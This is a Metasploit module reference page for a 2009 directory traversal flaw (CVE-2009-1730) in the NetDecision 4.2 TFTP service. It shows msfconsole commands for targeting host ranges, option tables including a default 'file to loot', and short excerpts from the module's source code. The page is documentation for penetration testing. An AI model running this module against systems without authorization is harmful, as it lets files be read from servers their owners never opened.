NetDecision 4.2 TFTP Directory Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/tftp/netdecision_tftp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NetDecision 4.2 TFTP Directory Traversal
Module: auxiliary/scanner/tftp/netdecision_tftp
Source code: modules/auxiliary/scanner/tftp/netdecision_tftp.rb
Disclosure date: 2009-05-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 69
List of CVEs: CVE-2009-1730
This modules exploits a directory traversal vulnerability in NetDecision 4.2 TFTP service.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/tftp/netdecision_tftp
msf auxiliary(netdecision_tftp) > show options
... show and set options ...
msf auxiliary(netdecision_tftp) > set RHOSTS ip-range
msf auxiliary(netdecision_tftp) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(netdecision_tftp) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(netdecision_tftp) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(netdecision_tftp) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the scanner/tftp/netdecision_tftp auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/tftp/netdecision_tftp
msf6 auxiliary(scanner/tftp/netdecision_tftp) > show info
Name: NetDecision 4.2 TFTP Directory Traversal
Module: auxiliary/scanner/tftp/netdecision_tftp
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2009-05-16
Provided by:
Rob Kraus
juan vazquez <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 1 no Levels to reach base directory
FILENAME windows\win.ini no The file to loot
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 69 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This modules exploits a directory traversal vulnerability in
NetDecision 4.2 TFTP service.
References:
https://nvd.nist.gov/vuln/detail/CVE-2009-1730
OSVDB (54607)
http://www.securityfocus.com/bid/35002
Module Options
This is a complete list of options available in the scanner/tftp/netdecision_tftp auxiliary module:
msf6 auxiliary(scanner/tftp/netdecision_tftp) > show options
Module options (auxiliary/scanner/tftp/netdecision_tftp):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 1 no Levels to reach base directory
FILENAME windows\win.ini no The file to loot
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 69 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/tftp/netdecision_tftp auxiliary module:
msf6 auxiliary(scanner/tftp/netdecision_tftp) > show advanced
Module advanced options (auxiliary/scanner/tftp/netdecision_tftp):
Name Current Setting Required Description
---- --------------- -------- -----------
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/tftp/netdecision_tftp module can do:
msf6 auxiliary(scanner/tftp/netdecision_tftp) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/tftp/netdecision_tftp auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/tftp/netdecision_tftp) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error retrieving file <FILE_NAME> from <IP>
Here is a relevant code snippet related to the "Error retrieving file <FILE_NAME> from <IP>" error message:
68:
69: while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
70:
71: opcode, block, data = r[0].unpack("nna*") # Parse reply
72: if opcode != 3 # Check opcode: 3 => Data Packet
73: print_error("Error retrieving file #{file_name} from #{ip}")
74: return
75: end
76: file_data << data
77: udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack
78:
Error retrieving file <FILE_NAME> from <IP>
Here is a relevant code snippet related to the "Error retrieving file <FILE_NAME> from <IP>" error message:
77: udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack
78:
79: end
80:
81: if file_data.empty?
82: print_error("Error retrieving file #{file_name} from #{ip}")
83: return
84: end
85:
86: udp_sock.close
87:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3751 Merged Pull Request: [SeeRM 8836] Change boot.ini to win.ini
- #2525 Merged Pull Request: Change module boilerplate
- #678 Merged Pull Request: Added aux module for CVE-2009-1730
References
- CVE-2009-1730
- OSVDB (54607)
- BID-35002
See Also
Check also the following modules related to this module:
- auxiliary/admin/tftp/tftp_transfer_util
- auxiliary/dos/scada/d20_tftp_overflow
- auxiliary/dos/windows/tftp/pt360_write
- auxiliary/dos/windows/tftp/solarwinds
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp
- auxiliary/scanner/tftp/tftpbrute
- auxiliary/server/tftp
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/freefloatftp_user
- exploit/windows/ftp/freefloatftp_wbem
- exploit/windows/ftp/netterm_netftpd_user
- exploit/windows/ftp/scriptftp_list
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/distinct_tftp_traversal
- exploit/windows/tftp/dlink_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/netdecision_tftp_traversal
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpd32_long_filename
- exploit/windows/tftp/tftpdwin_long_filename
- exploit/windows/tftp/tftpserver_wrq_bof
- exploit/windows/tftp/threectftpsvc_long_mode
- post/windows/gather/credentials/smartftp
- auxiliary/scanner/http/netdecision_traversal
- exploit/windows/http/netdecision_http_bof
Authors
- Rob Kraus
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.